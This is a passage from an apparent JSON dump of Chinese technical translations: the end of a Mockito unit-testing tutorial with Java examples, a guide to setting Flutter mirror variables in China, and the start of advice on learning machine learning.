类会回应任何外部测试的调用。_stub_ 类有时候还会记录调用的一些信息。\n\n_mock object_ 是指类或者接口的模拟实现，你可以自定义这个对象中某个方法的输出结果。\n\n测试替代技术能够在测试中模拟测试类以外对象。因此你可以验证测试类是否响应正常。譬如说，你可以验证在 Mock 对象的某一个方法是否被调用。这可以确保隔离了外部依赖的干扰只测试测试类。\n\n我们选择 Mock 对象的原因是因为 Mock 对象只需要少量代码的配置。\n\n### 2.3\\. Mock 对象的产生\n\n你可以手动创建一个 Mock 对象或者使用 Mock 框架来模拟这些类，Mock 框架允许你在运行时创建 Mock 对象并且定义它的行为。\n\n一个典型的例子是把 Mock 对象模拟成数据的提供者。在正式的生产环境中它会被实现用来连接数据源。但是我们在测试的时候 Mock 对象将会模拟成数据提供者来确保我们的测试环境始终是相同的。\n\nMock 对象可以被提供来进行测试。因此，我们测试的类应该避免任何外部数据的强依赖。\n\n通过 Mock 对象或者 Mock 框架，我们可以测试代码中期望的行为。譬如说，验证只有某个存在 Mock 对象的方法是否被调用了。\n\n### 2.4\\. 使用 Mockito 生成 Mock 对象\n\n_Mockito_ 是一个流行 mock 框架，可以和JUnit结合起来使用。Mockito 允许你创建和配置 mock 对象。使用Mockito可以明显的简化对外部依赖的测试类的开发。\n\n一般使用 Mockito 需要执行下面三步\n\n*   模拟并替换测试代码中外部依赖。\n\n*   执行测试代码\n\n*   验证测试代码是否被正确的执行\n\n![mockitousagevisualization](http://ww2.sinaimg.cn/large/72f96cbagw1f5b2j8m2vsj20hh056jrv)\n\n## 3\\. 为自己的项目添加 Mockito 依赖\n\n### 3.1\\. 在 Gradle 添加 Mockito 依赖\n\n如果你的项目使用 Gradle 构建，将下面代码加入 Gradle 的构建文件中为自己项目添加 Mockito 依赖\n\n    repositories { jcenter() }\n    dependencies { testCompile \"org.mockito:mockito-core:2.0.57-beta\" }\n\n\n### 3.2\\. 在 Maven 添加 Mockito 依赖\n\n需要在 Maven 声明依赖，您可以在 [http://search.maven.org](http://search.maven.org) 网站中搜索 g:\"org.mockito\", a:\"mockito-core\" 来得到具体的声明方式。\n\n### 3.3\\. 在 Eclipse IDE 使用 Mockito\n\nEclipse IDE 支持 Gradle 和 Maven 两种构建工具，所以在 Eclipse IDE 添加依赖取决你使用的是哪一个构建工具。\n\n### 3.4\\. 以 OSGi 或者 Eclipse 插件形式添加 Mockito 依赖\n\n在 Eclipse RCP 应用依赖通常可以在 p2 update 上得到。Orbit 是一个很好的第三方仓库，我们可以在里面寻找能在 Eclipse 上使用的应用和插件。\n\nOrbit 仓库地址 [http://download.eclipse.org/tools/orbit/downloads](http://download.eclipse.org/tools/orbit/downloads)\n\n![orbit p2 mockito](http://ww2.sinaimg.cn/large/72f96cbagw1f5b2jlbr97j20ny0hg77c)\n\n## 4\\. 使用Mockito API\n\n### 4.1\\. 静态引用\n\n如果在代码中静态引用了`org.mockito.Mockito.*;`，那你你就可以直接调用静态方法和静态变量而不用创建对象，譬如直接调用 mock() 方法。\n\n### 4.2\\. 使用 Mockito 创建和配置 mock 对象\n\n除了上面所说的使用 mock() 静态方法外，Mockito 还支持通过 `@Mock` 注解的方式来创建 mock 对象。\n\n如果你使用注解，那么必须要实例化 mock 对象。Mockito 在遇到使用注解的字段的时候，会调用`MockitoAnnotations.initMocks(this)` 来初始化该 mock 对象。另外也可以通过使用`@RunWith(MockitoJUnitRunner.class)`来达到相同的效果。\n\n通过下面的例子我们可以了解到使用`@Mock` 的方法和`MockitoRule`规则。\n\n\n    import static org.mockito.Mockito.*;\n\n    public class MockitoTest  {\n\n            @Mock\n            MyDatabase databaseMock; (1)\n\n            @Rule public MockitoRule mockitoRule = MockitoJUnit.rule(); (2)\n\n            @Test\n            public void testQuery()  {\n                    ClassToTest t  = new ClassToTest(databaseMock); (3)\n                    boolean check = t.query(\"* from t\"); (4)\n                    assertTrue(check); (5)\n                    verify(databaseMock).query(\"* from t\"); (6)\n            }\n    }\n\n\n1. 告诉 Mockito 模拟 databaseMock 实例\n\n2. Mockito 通过 @mock 注解创建 mock 对象\n\n3. 使用已经创建的mock初始化这个类\n\n4. 在测试环境下，执行测试类中的代码\n\n5. 使用断言确保调用的方法返回值为 true\n\n6. 验证 query 方法是否被 `MyDatabase` 的 mock 对象调用\n\n\n### 4.3\\. 配置 mock\n\n当我们需要配置某个方法的返回值的时候，Mockito 提供了链式的 API 供我们方便的调用\n\n`when(…​.).thenReturn(…​.)`可以被用来定义当条件满足时函数的返回值，如果你需要定义多个返回值，可以多次定义。当你多次调用函数的时候，Mockito 会根据你定义的先后顺序来返回返回值。Mocks 还可以根据传入参数的不同来定义不同的返回值。譬如说你的函数可以将`anyString` 或者 `anyInt`作为输入参数，然后定义其特定的放回值。\n\n    import static org.mockito.Mockito.*;\n    import static org.junit.Assert.*;\n\n    @Test\n    public void test1()  {\n            //  创建 mock\n            MyClass test = Mockito.mock(MyClass.class);\n\n            // 自定义 getUniqueId() 的返回值\n            when(test.getUniqueId()).thenReturn(43);\n\n            // 在测试中使用mock对象\n            assertEquals(test.getUniqueId(), 43);\n    }\n\n    // 返回多个值\n    @Test\n    public void testMoreThanOneReturnValue()  {\n            Iterator i= mock(Iterator.class);\n            when(i.next()).thenReturn(\"Mockito\").thenReturn(\"rocks\");\n            String result=i.next()+\" \"+i.next();\n            // 断言\n            assertEquals(\"Mockito rocks\", result);\n    }\n\n    // 如何根据输入来返回值\n    @Test\n    public void testReturnValueDependentOnMethodParameter()  {\n            Comparable c= mock(Comparable.class);\n            when(c.compareTo(\"Mockito\")).thenReturn(1);\n            when(c.compareTo(\"Eclipse\")).thenReturn(2);\n            // 断言\n            assertEquals(1,c.compareTo(\"Mockito\"));\n    }\n\n    // 如何让返回值不依赖于输入\n    @Test\n    public void testReturnValueInDependentOnMethodParameter()  {\n            Comparable c= mock(Comparable.class);\n            when(c.compareTo(anyInt())).thenReturn(-1);\n            // 断言\n            assertEquals(-1 ,c.compareTo(9));\n    }\n\n    // 根据参数类型来返回值\n    @Test\n    public void testReturnValueInDependentOnMethodParameter()  {\n            Comparable c= mock(Comparable.class);\n            when(c.compareTo(isA(Todo.class))).thenReturn(0);\n            // 断言\n            Todo todo = new Todo(5);\n            assertEquals(todo ,c.compareTo(new Todo(1)));\n    }\n\n对于无返回值的函数，我们可以使用`doReturn(…​).when(…​).methodCall`来获得类似的效果。例如我们想在调用某些无返回值函数的时候抛出异常，那么可以使用`doThrow` 方法。如下面代码片段所示\n\n\n    import static org.mockito.Mockito.*;\n    import static org.junit.Assert.*;\n\n    // 下面测试用例描述了如何使用doThrow()方法\n\n    @Test(expected=IOException.class)\n    public void testForIOException() {\n            // 创建并配置 mock 对象\n            OutputStream mockStream = mock(OutputStream.class);\n            doThrow(new IOException()).when(mockStream).close();\n\n            // 使用 mock\n            OutputStreamWriter streamWriter= new OutputStreamWriter(mockStream);\n            streamWriter.close();\n    }\n\n\n### 4.4\\. 验证 mock 对象方法是否被调用 \n\nMockito 会跟踪 mock 对象里面所有的方法和变量。所以我们可以用来验证函数在传入特定参数的时候是否被调用。这种方式的测试称行为测试，行为测试并不会检查函数的返回值，而是检查在传入正确参数时候函数是否被调用。\n\n    import static org.mockito.Mockito.*;\n\n    @Test\n    public void testVerify()  {\n            // 创建并配置 mock 对象\n            MyClass test = Mockito.mock(MyClass.class);\n            when(test.getUniqueId()).thenReturn(43);\n\n            // 调用mock对象里面的方法并传入参数为12\n            test.testing(12);\n            test.getUniqueId();\n            test.getUniqueId();\n\n            // 查看在传入参数为12的时候方法是否被调用\n            verify(test).testing(Matchers.eq(12));\n\n            // 方法是否被调用两次\n            verify(test, times(2)).getUniqueId();\n\n            // 其他用来验证函数是否被调用的方法\n            verify(mock, never()).someMethod(\"never called\");\n            verify(mock, atLeastOnce()).someMethod(\"called at least once\");\n            verify(mock, atLeast(2)).someMethod(\"called at least twice\");\n            verify(mock, times(5)).someMethod(\"called five times\");\n            verify(mock, atMost(3)).someMethod(\"called at most 3 times\");\n    }\n\n### 4.5\\. 使用 Spy 封装 java 对象\n@Spy或者`spy()`方法可以被用来封装 java 对象。被封装后，除非特殊声明（打桩 _stub_），否则都会真正的调用对象里面的每一个方法\n\n\n    import static org.mockito.Mockito.*;\n\n    // Lets mock a LinkedList\n    List list = new LinkedList();\n    List spy = spy(list);\n\n    // 可用 doReturn() 来打桩\n    doReturn(\"foo\").when(spy).get(0);\n\n    // 下面代码不生效\n    // 真正的方法会被调用\n    // 将会抛出 IndexOutOfBoundsException 的异常，因为 List 为空\n    when(spy.get(0)).thenReturn(\"foo\");\n\n方法`verifyNoMoreInteractions()`允许你检查没有其他的方法被调用了。\n\n### 4.6\\. 使用 @InjectMocks 在 Mockito 中进行依赖注入\n\n我们也可以使用`@InjectMocks` 注解来创建对象，它会根据类型来注入对象里面的成员方法和变量。假定我们有 ArticleManager 类\n\n    public class ArticleManager {\n        private User user;\n        private ArticleDatabase database;\n\n        ArticleManager(User user) {\n         this.user = user;\n        }\n\n        void setDatabase(ArticleDatabase database) { }\n    }\n\n这个类会被 Mockito 构造，而类的成员方法和变量都会被 mock 对象所代替，正如下面的代码片段所示：\n\n    @RunWith(MockitoJUnitRunner.class)\n    public class ArticleManagerTest  {\n\n           @Mock ArticleCalculator calculator;\n           @Mock ArticleDatabase database;\n           @Most User user;\n\n           @Spy private UserProvider userProvider = new ConsumerUserProvider();\n\n           @InjectMocks private ArticleManager manager; (1)\n\n           @Test public void shouldDoSomething() {\n                   // 假定 ArticleManager 有一个叫 initialize() 的方法被调用了\n                   // 使用 ArticleListener 来调用 addListener 方法\n                   manager.initialize();\n\n                   // 验证 addListener 方法被调用\n                   verify(database).addListener(any(ArticleListener.class));\n           }\n    }\n\n1. 创建ArticleManager实例并注入Mock对象\n\n更多的详情可以查看\n[http://docs.mockito.googlecode.com/hg/1.9.5/org/mockito/InjectMocks.html](http://docs.mockito.googlecode.com/hg/1.9.5/org/mockito/InjectMocks.html).\n\n### 4.7\\. 捕捉参数\n\n`ArgumentCaptor`类允许我们在verification期间访问方法的参数。得到方法的参数后我们可以使用它进行测试。\n\n```\nimport static org.hamcrest.Matchers.hasItem;\nimport static org.junit.Assert.assertThat;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.verify;\n\nimport java.util.Arrays;\nimport java.util.List;\n\nimport org.junit.Rule;\nimport org.junit.Test;\nimport org.mockito.ArgumentCaptor;\nimport org.mockito.Captor;\nimport org.mockito.junit.MockitoJUnit;\nimport org.mockito.junit.MockitoRule;\n\npublic class MockitoTests {\n    @Rule\n    public MockitoRule rule = MockitoJUnit.rule();\n\n    @Captor\n    private ArgumentCaptor<List<String>> captor;\n\n    @Test\n    public final void shouldContainCertainListItem() {\n        List<String> asList = Arrays.asList(\"someElement_test\", \"someElement\");\n        final List<String> mockedList = mock(List.class);\n        mockedList.addAll(asList);\n\n        verify(mockedList).addAll(captor.capture());\n        final List<String> capturedArgument = captor.getValue();\n        assertThat(capturedArgument, hasItem(\"someElement\"));\n    }\n}\n```\n\n### 4.8\\. Mockito的限制\n\nMockito当然也有一定的限制。而下面三种数据类型则不能够被测试\n\n*   final classes\n\n*   anonymous classes\n\n*   primitive types\n\n \n## 5\\. 在Android中使用Mockito\n\n在 Android 中的 Gradle 构建文件中加入 Mockito 依赖后就可以直接使用 Mockito 了。若想使用 Android Instrumented tests 的话，还需要添加 dexmaker 和 dexmaker-mockito 依赖到 Gradle 的构建文件中。（需要 Mockito 1.9.5版本以上）\n\n    dependencies {\n        testCompile 'junit:junit:4.12'\n        // Mockito unit test 的依赖\n        testCompile 'org.mockito:mockito-core:1.+'\n        // Mockito Android instrumentation tests 的依赖\n        androidTestCompile 'org.mockito:mockito-core:1.+'\n        androidTestCompile \"com.google.dexmaker:dexmaker:1.2\"\n        androidTestCompile \"com.google.dexmaker:dexmaker-mockito:1.2\"\n    }\n\n\n## 6\\. 实例：使用Mockito写一个Instrumented Unit Test\n\n### 6.1\\. 创建一个测试的Android 应用\n\n创建一个包名为`com.vogella.android.testing.mockito.contextmock`的Android应用，添加一个静态方法\n，方法里面创建一个包含参数的Intent，如下代码所示：\n\n    public static Intent createQuery(Context context, String query, String value) {\n        // 简单起见，重用MainActivity\n        Intent i = new Intent(context, MainActivity.class);\n        i.putExtra(\"QUERY\", query);\n        i.putExtra(\"VALUE\", value);\n        return i;\n    }\n\n\n### 6.2\\. 在app/build.gradle文件中添加Mockito依赖\n\n    dependencies {\n        // Mockito 和 JUnit 的依赖\n        // instrumentation unit tests on the JVM\n        androidTestCompile 'junit:junit:4.12'\n        androidTestCompile 'org.mockito:mockito-core:2.0.57-beta'\n        androidTestCompile 'com.android.support.test:runner:0.3'\n        androidTestCompile \"com.google.dexmaker:dexmaker:1.2\"\n        androidTestCompile \"com.google.dexmaker:dexmaker-mockito:1.2\"\n\n        // Mockito 和 JUnit 的依赖\n        // tests on the JVM\n        testCompile 'junit:junit:4.12'\n        testCompile 'org.mockito:mockito-core:1.+'\n\n    }\n\n \n### 6.3\\. 创建测试\n\n使用 Mockito 创建一个单元测试来验证在传递正确 extra data 的情况下，intent 是否被触发。\n\n因此我们需要使用 Mockito 来 mock 一个`Context`对象，如下代码所示：\n\n    package com.vogella.android.testing.mockitocontextmock;\n\n    import android.content.Context;\n    import android.content.Intent;\n    import android.os.Bundle;\n\n    import org.junit.Test;\n    import org.junit.runner.RunWith;\n    import org.mockito.Mockito;\n\n    import static org.junit.Assert.assertEquals;\n    import static org.junit.Assert.assertNotNull;\n\n    public class TextIntentCreation {\n\n        @Test\n        public void testIntentShouldBeCreated() {\n            Context context = Mockito.mock(Context.class);\n            Intent intent = MainActivity.createQuery(context, \"query\", \"value\");\n            assertNotNull(intent);\n            Bundle extras = intent.getExtras();\n            assertNotNull(extras);\n            assertEquals(\"query\", extras.getString(\"QUERY\"));\n            assertEquals(\"value\", extras.getString(\"VALUE\"));\n        }\n    }\n\n\n## 7\\. 实例：使用 Mockito 创建一个 mock 对象\n\n### 7.1\\. 目标\n\n创建一个 Api，它可以被 Mockito 来模拟并做一些工作\n\n### 7.2\\. 创建一个Twitter API 的例子\n\n实现 `TwitterClient`类，它内部使用到了 `ITweet` 的实现。但是`ITweet`实例很难得到，譬如说他需要启动一个很复杂的服务来得到。\n\n    public interface ITweet {\n\n            String getMessage();\n    }\n\n\n    public class TwitterClient {\n\n            public void sendTweet(ITweet tweet) {\n                    String message = tweet.getMessage();\n\n                    // send the message to Twitter\n            }\n    }\n\n\n### 7.3\\. 模拟 ITweet 的实例\n\n为了能够不启动复杂的服务来得到 `ITweet`，我们可以使用 Mockito 来模拟得到该实例。\n\n\n    @Test\n    public void testSendingTweet() {\n            TwitterClient twitterClient = new TwitterClient();\n\n            ITweet iTweet = mock(ITweet.class);\n\n            when(iTweet.getMessage()).thenReturn(\"Using mockito is great\");\n\n            twitterClient.sendTweet(iTweet);\n    }\n\n\n现在 `TwitterClient` 可以使用 `ITweet` 接口的实现，当调用 `getMessage()` 方法的时候将会打印 \"Using Mockito is great\" 信息。\n\n### 7.4\\. 验证方法调用\n\n确保 getMessage() 方法至少调用一次。\n\n    @Test\n    public void testSendingTweet() {\n            TwitterClient twitterClient = new TwitterClient();\n\n            ITweet iTweet = mock(ITweet.class);\n\n            when(iTweet.getMessage()).thenReturn(\"Using mockito is great\");\n\n            twitterClient.sendTweet(iTweet);\n\n            verify(iTweet, atLeastOnce()).getMessage();\n    }\n\n\n### 7.5\\. 验证\n\n运行测试，查看代码是否测试通过。\n\n## 8\\. 模拟静态方法\n\n### 8.1\\. 使用 Powermock 来模拟静态方法\n\n因为 Mockito 不能够 mock 静态方法，因此我们可以使用 `Powermock`。\n\n    import java.net.InetAddress;\n    import java.net.UnknownHostException;\n\n    public final class NetworkReader {\n        public static String getLocalHostname() {\n            String hostname = \"\";\n            try {\n                InetAddress addr = InetAddress.getLocalHost();\n                // Get hostname\n                hostname = addr.getHostName();\n            } catch ( UnknownHostException e ) {\n            }\n            return hostname;\n        }\n    }\n\n我们模拟了 NetworkReader 的依赖，如下代码所示：\n\n    import org.junit.runner.RunWith;\n    import org.powermock.core.classloader.annotations.PrepareForTest;\n\n    @RunWith( PowerMockRunner.class )\n    @PrepareForTest( NetworkReader.class )\n    public class MyTest {\n\n    // 测试代码\n\n     @Test\n    public void testSomething() {\n        mockStatic( NetworkUtil.class );\n        when( NetworkReader.getLocalHostname() ).andReturn( \"localhost\" );\n\n        // 与 NetworkReader 协作的测试\n    }\n\n\n### 8.2\\.用封装的方法代替Powermock  \n\n有时候我们可以在静态方法周围包含非静态的方法来达到和 Powermock 同样的效果。\n\n    class FooWraper { \n          void someMethod() { \n               Foo.someStaticMethod() \n           } \n    }\n\n\n### 9\\. Mockito 参考资料\n\nhttp://site.mockito.org - Mockito 官网\n\nhttps://github.com/mockito/mockito- Mockito Github\n\nhttps://github.com/mockito/mockito/blob/master/doc/release-notes/official.md - Mockito 发行说明\n\nhttp://martinfowler.com/articles/mocksArentStubs.html 与Mocks，Stub有关的文章\n\nhttp://chiuki.github.io/advanced-android-espresso/ 高级android教程（竟然是个妹子）\n"
  },
  {
    "path": "TODO/Using-Flutter-in-China.md",
    "content": "> * 原文地址：[Using Flutter in China](https://github.com/flutter/flutter/wiki/Using-Flutter-in-China)\n> * 原文作者：[Flutter](https://github.com/flutter)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/Using-Flutter-in-China.md](https://github.com/xitu/gold-miner/blob/master/TODO/Using-Flutter-in-China.md)\n> * 译者：[mysterytony](https://github.com/mysterytony)\n> * 校对者：[hanliuxin5](https://github.com/hanliuxin5), [Starriers](https://github.com/Starriers)\n\n# 在中国使用 Flutter\n\n如果你在中国安装或使用 Flutter ，可以用一个可信的本地镜像来托管 Flutter 的依赖关系。为了让 Flutter 能使用一个备用的在线访问地址，你需要在运行 `flutter` 指令之前设置两个环境变量：`PUB_HOSTED_URL` 和 `FLUTTER_STORAGE_BASE_URL`。\n\n比如说，在 MacOS 或 Linux 上，为了让你能使用镜像站点，下面是首先需要进行的一系列设置步骤。在你想要存储克隆下来的 Flutter 文件夹下运行下面的 Bash 命令：\n\n```source-shell\nexport PUB_HOSTED_URL=https://pub.flutter-io.cn\nexport FLUTTER_STORAGE_BASE_URL=https://storage.flutter-io.cn\ngit clone -b dev https://github.com/flutter/flutter.git\nexport PATH=\"$PWD/flutter/bin:$PATH\"\ncd ./flutter\nflutter doctor\n```\n\n然后，你就应该可以继续正常地 [配置 Flutter](https://flutter.io/setup/)。从现在开始，在有 `PUB_HOSTED_URL` 和 `FLUTTER_STORAGE_BASE_URL` 环境变量的控制台用 `flutter packages get` 下载的包将会从 `flutter-io.cn` 下载。\n\n`flutter-io.cn` 服务器是 Flutter 一个由 [GDG China](http://www.chinagdg.com/) 维护的依赖和包的临时镜像。Flutter 团队不能保证这个服务的长期可用性。你可以自由使用其他可用的镜像。如果你对在中国建立你自己的镜像感兴趣，请联系 [flutter-dev@googlegroups.com](mailto:flutter-dev@googlegroups.com) 以获得协助。\n\n已知问题：\n\n* 从源码运行 Flutter Gallery 程序需要的资源目前托管在这个解决方案暂不支持的域名。你可以订阅 [这个问题](https://github.com/flutter/flutter/issues/13763) 的更新。同时，你也可以在 Google Play 或者你信任的第三方商店看看 Flutter Gallery。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/What-would-be-your-advice-to-a-software-engineer-who-wants-to-learn-machine-learning.md",
    "content": "> * 原文地址：[What would be your advice to a software engineer who wants to learn machine learning?](https://www.quora.com/What-would-be-your-advice-to-a-software-engineer-who-wants-to-learn-machine-learning-3/answer/Alex-Smola-1)\n> * 原文作者：[Alex Smola](https://www.quora.com/profile/Alex-Smola-1)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/What-would-be-your-advice-to-a-software-engineer-who-wants-to-learn-machine-learning.md](https://github.com/xitu/gold-miner/blob/master/TODO/What-would-be-your-advice-to-a-software-engineer-who-wants-to-learn-machine-learning.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[吃土小2叉](https://github.com/xunge0613),[Tina92](https://github.com/Tina92)\n\n# 你会给想学习机器学习的软件工程师提出什么建议？\n\n这很大一部分都取决于这名软件工程师的背景，以及他希望掌握机器学习的哪一部分。为了具体讨论，现在假设这是一名初级工程师，他读了 4 年本科，从业 2 年，现在想从事计算广告学（CA）、自然语言处理（NLP）、图像分析、社交网络分析、搜索、推荐排名相关领域。现在，让我们从机器学习的必要课程开始讨论（声明：下面的清单很不完整，如果您的论文没有被包括在内，提前向您抱歉）。\n\n- 线性代数\n  很多的机器学习算法、统计学原理、模型优化都依赖线性代数。这也解释了为何在深度学习领域 GPU 要优于 CPU。在线性代数方面，你至少得熟练掌握以下内容：\n\n  - 标量、向量、矩阵、张量。你可以将它们看成零维、一维、二维、三维与更高维的对象，可以对它们进行各种组合、变换，就像乐高玩具一样。它们为数据变换提供了最基础的处理方法。\n  - 特征向量、标准化、矩阵近似、分解。实质上这些方法都是为了方便线性代数的运算。如果你想分析一个矩阵是如何运算的（例如检查神经网络中梯度消失问题，或者检查强化学习算法发散的问题），你得了解矩阵与向量应用了多少种缩放方法。而低阶矩阵近似与 Cholesky 分解可以帮你写出性能更好、稳定性更强的代码。\n  - 数值线性代数\n    如果你想进一步优化算法的话，这是必修课。它对于理解核方法与深度学习很有帮助，不过对于图模型及采样来说它并不重要。\n  - 推荐书籍\n    [《Serge Lang, Linear Algebra》](http://www.amazon.com/Linear-Algebra-Undergraduate-Texts-Mathematics/dp/0387964126)\n    很基础的线代书籍，很适合在校学生。\n    [《Bela Bolobas, Linear Analysis》](http://www.amazon.com/Linear-Analysis-Introductory-Cambridge-Mathematical/dp/0521655773)\n    这本书目标人群是那些想做数学分析、泛函分析的人。当然它的内容更加晦涩难懂，但更有意义。如果你攻读 PhD，值得一读。\n    [《Lloyd Trefethen and David Bau, Numerical Linear Algebra》](http://www.amazon.com/Numerical-Linear-Algebra-Lloyd-Trefethen/dp/0898713617)\n    这本书是同类书籍中较为推荐的一本。[《Numerical Recipes》](http://www.amazon.com/Numerical-Recipes-Scientific-Computing-Second/dp/0521431085/)也是一本不错的书，但是里面的算法略为过时了。另外，推荐 Golub 和 van Loan 合著的书[《Matrix Computations》](http://www.amazon.com/Computations-Hopkins-Studies-Mathematical-Sciences/dp/1421407949/)。\n\n- 优化与基础运算\n\n  大多数时候提出问题是很简单的，而解答问题则是很困难的。例如，你想对一组数据使用线性回归（即线性拟合），那么你应该希望数据点与拟合线的距离平方和最小；又或者，你想做一个良好的点击预测模型，那么你应该希望最大程度地提高用户点击广告概率估计的准确性。也就是说，在一般情况下，我们会得到一个客观问题、一些参数、一堆数据，我们要做的就是找到通过它们解决问题的方法。找到这种方法是很重要的，因为我们一般得不到闭式解。\n\n  - 凸优化\n\n    在大多情况下，优化问题不会存在太多的局部最优解，因此这类问题会比较好解决。这种“局部最优即全局最优”的问题就是凸优化问题。\n\n    （如果你在集合的任意两点间画一条直线，整条线始终在集合范围内，则这个集合是一个凸集合；如果你在一条函数曲线的任意两点间画一条直线，这两点间的函数曲线始终在这条直线之下，则这个函数是一个凸函数）\n\n    Steven Boyd 与 Lieven Vandenberghe [合著的书](http://stanford.edu/~boyd/cvxbook/)可以说是这个领域的规范书籍了，这本书非常棒，而且是免费的，值得一读；此外，你可以在 [Boyd 的课程](http://web.stanford.edu/~boyd/)中找到很多很棒的幻灯片；[Dimitri Bertsekas](http://www.mit.edu/~dimitrib/home.html) 写了一系列关于优化、控制方面的书籍。读通这些书足以让任何一个人在这个领域立足。\n\n  - 随机梯度下降（SGD）\n\n    大多数问题其实最开始都是凸优化问题的特殊情况（至少早期定理如此），但是随着数据的增加，凸优化问题的占比会逐渐减少。因此，假设你现在得到了一些数据，你的算法将会需要在每一个更新步骤前将所有的数据都检查一遍。\n\n    现在，我不怀好意地给了你 10 份相同的数据，你将不得不重复 10 次没有任何帮助的工作。不过在现实中并不会这么糟糕，你可以设置很小的更新迭代步长，每次更新前都将所有的数据检查一遍，这种方法将会帮你解决这类问题。小步长计算在机器学习中已经有了很大的转型，配合上一些相关的算法会使得解决问题更加地简单。\n\n    不过，这样的做法对并行化计算提出了挑战。我们于 2009 年发表的[《Slow Learners are Fast》](http://arxiv.org/abs/0911.0491)论文可能就是这个方向的先导者之一。2013 年牛峰等人发表的[《Hogwild》](https://www.eecs.berkeley.edu/~brecht/papers/hogwildTR.pdf)论文给出了一种相当优雅的无锁版本变体。简而言之，这类各种各样的算法都是通过在单机计算局部梯度，并异步更新共有的参数集实现并行快速迭代运算。\n\n    随机梯度下降的另一个难题就是如何控制过拟合（例如可以通过正则化加以控制）。另外还有一种解决凸优化的惩罚方式叫近端梯度算法（PGD）。最流行的当属 Amir Beck 和 Marc Teboulle 提出的 [FISTA 算法](http://people.rennes.inria.fr/Cedric.Herzet/Cedric.Herzet/Sparse_Seminar/Entrees/2012/11/12_A_Fast_Iterative_Shrinkage-Thresholding_Algorithmfor_Linear_Inverse_Problems_(A._Beck,_M._Teboulle)_files/Breck_2009.pdf)了。相关代码可以参考 Francis Bach 的 [SPAM toolbox](http://spams-devel.gforge.inria.fr/)。\n\n  - 非凸优化方法\n\n    许多的机器学习问题是非凸的。尤其是与深度学习相关的问题几乎都是非凸的，聚类、主题模型（topic model）、潜变量方法（latent variable method）等各种有趣的机器学习方法也是如此。一些最新的加速技术将对此有所帮助。例如我的学生 [Sashank Reddy](http://www.cs.cmu.edu/~sjakkamr/) 最近展示了如何在这种情况下得到良好的[收敛](http://arxiv.org/abs/1603.06160)[速率](http://arxiv.org/abs/1603.06159)。\n\n    也可以用一种叫做谱学习算法（Spectral Method）的技术。[Anima Anandkumar](http://newport.eecs.uci.edu/anandkumar/) 在最近的 [Quora session](/profile/Anima-Anandkumar-1) 中详细地描述了这项技术的细节。请仔细阅读她的文章，因为里面干货满满。简而言之，凸优化问题并不是唯一能够可靠解决的问题。在某些情况中你可以试着找出其问题的数学等价形式，通过这样找到能够真正反映数据中聚类、主题、相关维度、神经元等一切信息的参数。如果你愿意且能够将一切托付给数学解决，那是一件无比伟大的事。\n\n    最近，在深度神经网络训练方面涌现出了各种各样的新技巧。我将会在下面介绍它们，但是在一些情况中，我们的目标不仅仅是优化模型，而是找到一种特定的解决方案（就好像旅途的重点其实是过程一样）。\n\n- （分布式）系统\n\n  机器学习之所以现在成为了人类、测量学、传感器及数据相关领域几乎是最常用的工具，和过去 10 年规模化算法的发展密不可分。[Jeff Dean](http://research.google.com/pubs/jeff.html) 过去的一年发了 6 篇机器学习教程并不是巧合。在此简单介绍一下他：[点击查看](http://www.informatika.bg/jeffdean)，他是 MapReduce、GFS 及 BigTable 等技术背后的创造者，正是这些技术让 Google 成为了伟大的公司。\n\n  言归正传，（分布式）系统研究为我们提供了分布式、异步、容错、规模化、简单（Simplicity）的宝贵工具。最后一条“简单”是机器学习研究者们常常忽视的一件事。简单（Simplicity）不是 bug，而是一种特征。下面这些技术会让你受益良多：\n\n  - 分布式哈希表\n\n    它是 [memcached](https://memcached.org/)、[dynamo](http://www.allthingsdistributed.com/files/amazon-dynamo-sosp2007.pdf)、[pastry](http://research.microsoft.com/en-us/um/people/antr/PAST/pastry.pdf) 以及 [ceph](http://docs.ceph.com/docs/hammer/rados/) 等的技术基础。它们所解决的都是同一件事情 —— 如何将对象分发到多台机器上，从而避免向中央存储区提出请求。为了达到这个目的，你必须将数据位置进行随机但确定的编码（即哈希）。另外，你需要考虑到当有机器出现故障时的处理方式。\n\n    我们自己的参数服务器就是使用这种[数据布局](https://www.cs.cmu.edu/~dga/papers/osdi14-paper-li_mu.pdf)。这个项目的幕后大脑是我的学生 [Mu Li](http://www.cs.cmu.edu/~muli/) 。请参阅 [DMLC](http://dmlc.ml/) 查看相关的工具集。\n\n  - 一致性与通信\n\n    这一切的基础都是 Leslie Lamport 的 [PAXOS](http://research.microsoft.com/en-us/um/people/lamport/pubs/paxos-simple.pdf) 协议。它解决了不同机器（甚至部分机器不可用）的一致性问题。如果你曾经使用过版本控制工具，你应该可以直观地明白它是如何运行的——比如你有很多机器（或者很多开发者）都在进行数据更新（或更新代码），在它们（他们）不随时进行交流的情况下，你会如何将它们（他们）结合起来（不靠反复地求 diff）?\n\n    在（分布式）系统中，解决方案是一个叫做向量时钟的东西（请参考 Google 的 [Chubby](http://blogoscoped.com/archive/2008-07-24-n69.html)）。我们也在参数服务器上使用了这种向量时钟的变体，这个变体与本体的区别就是我们仅使用向量时钟来限制参数的范围（Mu Li 做的），这样可以确保内存不会被无限增长的向量时钟时间戳给撑爆，正如文件系统不需要给每个字节都打上时间戳。\n\n  - 容错机制、规模化与云\n\n    学习这些内容最简单的方法就是在云服务器上运行各种算法，至于云服务可以找 [Amazon AWS](http://aws.amazon.com)、[Google 